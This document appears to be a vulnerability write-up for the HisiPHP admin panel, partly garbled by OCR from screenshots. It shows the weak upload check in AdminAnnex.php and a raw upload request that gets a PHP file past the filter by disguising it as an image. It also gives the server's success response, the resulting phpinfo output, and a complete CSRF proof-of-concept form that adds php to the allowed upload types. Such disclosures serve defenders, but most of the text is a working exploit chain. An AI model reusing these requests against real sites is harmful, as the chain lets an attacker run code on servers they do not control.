

app/common/model/AdminAnnex.php

We can control the type of file uploaded

```
AdminAnnex.php x
64         break;
65     }
66     $file = request()->file($input);
67     $data = [];
68     if (empty($file)) {
69         return self::result('未找到上传的文件(文件大小可能超过php.ini里以2M限制)!', $from);
70     }
71     if ($file->getMime() == 'text/x-php' || $file->getMime() == 'text/html') {
72         return self::result('禁止上传php,html文件!', $from);
73     }
74     // 格式、大小校验
75     if ($file->checkExt(config('upload.upload_image_ext'))) {
76         $type = 'image';
77         if (config('upload.upload_image_size') > 0 && !$file->checkSize(config('upload.upload_image_size')*1024)) {
78             return self::result('上传的图片大小超过系统限制['.config('upload.upload_image_size').'KB]!', $from);
79         }
80     } else if ($file->checkExt(config('upload.upload_file_ext'))) {
81         $type = 'file';
82         if (config('upload.upload_file_size') > 0 && !$file->checkSize(config('upload.upload_file_size')*1024)) {
83             return self::result('上传的文件大小超过系统限制['.config('upload.upload_file_size').'KB]!', $from);
84         }
85     } else if ($file->checkExt('avi,mkv')) {
86         $type = 'media';
87     } else {
88         return self::result('非系统允许的上传格式!', $from);
89     }
90     // 上传附件路径
91     $_upload_path = ROOT_PATH . 'upload' . DS . $group . DS . $type . DS;
92     // 附件访问路径
93     $_file_path = ROOT_DIR.'upload/'.$group.'/'.$type.'/';
94
95     // 如果文件已经存在, 直接返回数据
96     // $res = self::where('hash', $file->hash())->find();
97     // if ($res) {
98     //     return self::result('文件上传成功.', $from, 1, $res);
99     // }
100
101     // 移动到upload 目录下
102     $upfile = $file->rule('md5')->move($_upload_path);
103     if (!$is_file($upfile->getSaveName())) {
104         return self::result('文件上传失败!', $from);
105     }
106     $file_count = 1;
107     $file_size = round($upfile->getInfo('size')/1024, 2);
108     $data = [
109         'file' => $_file_path.str_replace('\\', '/', $upfile->getSaveName()),
110         'hash' => $upfile->hash(),
111         'data_id' => input('param.data_id', 0),
112         'type' => $type,
113         'size' => $file_size
114     ];
```

管理控制台

系统功能

系统设置

配置管理

系统菜单

系统管理员

系统日志

数据库管理

会员管理

系统设置

首页

系统

插件

系统功能 > 系统设置 > 上传配置 [+]

基础

系统

上传

开发

数据库

| | | |
|----------|---|---|
| 文件上传大小限制 | 0 | 单位: KB, 0表示不限制大小 调用方式: config('upload.upload_file_size') |
| 允许上传文件格式 | doc,docx,xls,xlsx,ppt,pptx,pdf,wps,txt,ra | 多个格式请用英文逗号(,) 隔开 调用方式: config('upload.upload_file_ext') |
| 图片上传大小限制 | 0 | 单位: KB, 0表示不限制大小 调用方式: config('upload.upload_image_size') |
| 允许上传图片格式 | jpg,png,gif,jpeg,ico,php | 多个格式请用英文逗号(,) 隔开 调用方式: config('upload.upload_image_ext') |
| 缩略图尺寸 | 300x300;500x500 | 为空则不生成, 生成 500x500 的缩略图, 则填写 500x500 调用方式: config('upload.thumb_size') |

Because there is MIME detection, plus the picture header information:

Request

RawParamsHeadersHex

AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/69.0.3497.100 Safari/537.36
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryRG67tEUETf2E1ygZ
Referer:
http://localhost/hisiphp-master/hisiphp-master/admin.php/ad
min/system/index/group/base.html
Accept-Language: zh-CN,zh;q=0.9
Cookie: hisiphp_language=zh-cn;
PHPSESSID=r5kbtv4ndde3rlvk7246104pek;
hisiphp_hisi_iframe=0; hisiphp_hisi_admin_theme=0;
hisiphp_admin_language=test
Connection: close

-----WebKitFormBoundaryRG67tEUETf2E1ygZ
Content-Disposition: form-data; name="file";
filename="qwe.php"
Content-Type: image/gif

0?? 0JFIF 000 `` |
<?php phpinfo();?>
-----WebKitFormBoundaryRG67tEUETf2E1ygZ--

Response

RawHeadersHex

HTTP/1.1 200 OK
Date: Wed, 26 Sep 2018 04:39:39 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j
mod_fcgid/2.3.9
X-Powered-By: PHP/7.2.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Connection: close
Content-Type: application/json; charset=utf-8
Content-Length: 217

{ "msg": "文件上传成功.", "code": 1, "data": { "file": "\\\hisiphp-master\\hisiphp-master\\upload\\sys\\image\\Vee\\Vae\\a3f5d4ae5a130fc7244c9eab6c7553.php", "data_id": 0, "type": "image", "size": "0.040000000000000001", "thumb": [] } }

localhost/hisiphp-master/hisiphp-master/upload/sys/image/Vee/Vae/a3f5d4ae5a130fc7244c9eab6c7553.php

0?? 0JFIF 000 ``

PHP Version 7.2.1

| | |
|---|--|
| System | Windows NT VISH-PC 6.1 build 7601 (Windows 7 Professional Edition Service Pack 1) 586 |
| Build Date | Jan 4 2018 03:59:32 |
| Compiler | MSVC15 (Visual C++ 2017) |
| Architecture | x86 |
| Configure Command | script /nologo configure.js "--enable-snapshot-build" "--enable-debug-pack" "--disable-ats" "--with-pdo-sqlite=php-snap-build\deps_sqlite3_x64\src\sqlite" "--with-openssl=php-snap-build\deps_openssl_x64\src" "--with-zlib=php-snap-build\deps_zlib_x64\src" "--enable-com-dsnet-shared" "--without-analyzer" "--with-pgsql" |
| Server API | CGI/FastCGI |
| Virtual Directory Support | disabled |
| Configuration File (php.ini) Path | C:\Windows |
| Loaded Configuration File | E:\tools\phpstudy\20180211\PHPTutorial\php\7.2.1-nts\php.ini |
| Scan this dir for additional .ini files | (none) |
| Additional .ini files parsed | (none) |
| PHP API | 20170718 |
| PHP Extension | 20170718 |
| Zend Extension | 320170718 |
| Zend Extension Build | API20170718.NT.VC15 |
| PHP Extension Build | API20170718.NT.VC15 |
| Debug Build | no |
| Thread Safety | disabled |
| Zend Signal Handling | disabled |
| Zend Memory Manager | enabled |
| Zend Multibyte Support | provided by mbstring |
| IPv6 Support | enabled |
| DTrace Support | disabled |
| Registered PHP Streams | php, file, glob, data, http, ftp, zip, compress.zlib, compress.bzip2, phar |
| Registered Stream Socket Transports | tcp, udp |
| Registered Stream Filters | convert.iconv.* string.rot13, string.toupper, string.tolower, string.strip_tags, convert.*, dechunk.*, zlib.*, bz2.* |

Because there is no csrf protection, you can use csrf to perform various sensitive operations such as adding, deleting, modifying, etc. in the background. Such as adding a file suffix type php:

```
<html>  
<!-- CSRF PoC - generated by Burp Suite Professional -->  
<body>  
<script>history.pushState("", "", "/")</script>  
<form action="http://localhost/hisiphp-master/hisiphp-master/admin.php/admin/system/index/group/upload.html" method="POST">  
<input type="hidden" name="id&#91;upload&#95;file&#95;size&#93;" value="0" />  
<input type="hidden" name="type&#91;upload&#95;file&#95;size&#93;" value="input" />  
<input type="hidden" name="id&#91;upload&#95;file&#95;ext&#93;"
```

```
value="doc&#44;docx&#44;xls&#44;xlsx&#44;ppt&#44;pptx&#44;pdf&#44;wps&#44;txt&#44;rar&#44;zip" />
    <input type="hidden" name="type&#91;upload&#95;file&#95;ext&#93;" value="input" />
    <input type="hidden" name="id&#91;upload&#95;image&#95;size&#93;" value="0" />
    <input      type="hidden"      name="type&#91;upload&#95;image&#95;size&#93;"
value="input" />
    <input      type="hidden"      name="id&#91;upload&#95;image&#95;ext&#93;"
value="jpg&#44;png&#44;gif&#44;jpeg&#44;ico&#44;php" />
    <input type="hidden" name="type&#91;upload&#95;image&#95;ext&#93;" value="input"
/>
    <input      type="hidden"      name="id&#91;thumb&#95;size&#93;"
value="300x300&#59;500x500" />
    <input type="hidden" name="type&#91;thumb&#95;size&#93;" value="input" />
    <input type="hidden" name="id&#91;thumb&#95;type&#93;" value="2" />
    <input type="hidden" name="type&#91;thumb&#95;type&#93;" value="select" />
    <input type="hidden" name="id&#91;image&#95;watermark&#93;" value="1" />
    <input type="hidden" name="type&#91;image&#95;watermark&#93;" value="switch" />
    <input type="hidden" name="id&#91;image&#95;watermark&#95;pic&#93;" value="" />
    <input      type="hidden"      name="type&#91;image&#95;watermark&#95;pic&#93;"
value="image" />
    <input      type="hidden"      name="id&#91;image&#95;watermark&#95;opacity&#93;"
value="50" />
    <input      type="hidden"      name="type&#91;image&#95;watermark&#95;opacity&#93;"
value="input" />
    <input      type="hidden"      name="id&#91;image&#95;watermark&#95;location&#93;"
value="9" />
    <input      type="hidden"      name="type&#91;image&#95;watermark&#95;location&#93;"
value="select" />
    <input type="hidden" name="type&#91;text&#95;watermark&#93;" value="switch" />
    <input type="hidden" name="id&#91;text&#95;watermark&#95;content&#93;" value="" />
    <input      type="hidden"      name="type&#91;text&#95;watermark&#95;content&#93;"
value="input" />
    <input type="hidden" name="id&#91;text&#95;watermark&#95;location&#93;" value="7"
/>
    <input      type="hidden"      name="type&#91;text&#95;watermark&#95;location&#93;"
value="select" />
    <input type="hidden" name="id&#91;text&#95;watermark&#95;font&#93;" value="" />
    <input      type="hidden"      name="type&#91;text&#95;watermark&#95;font&#93;"
value="file" />
    <input type="hidden" name="id&#91;text&#95;watermark&#95;size&#93;" value="20" />
    <input      type="hidden"      name="type&#91;text&#95;watermark&#95;size&#93;"
value="input" />
    <input      type="hidden"      name="id&#91;text&#95;watermark&#95;color&#93;"
value="&#35;000000" />
```

```
        <input      type="hidden"      name="type'#text';watermark';color';"  
value="input" />  
        <input type="submit" value="Submit request" />  
    </form>  
    </body>  
</html>
```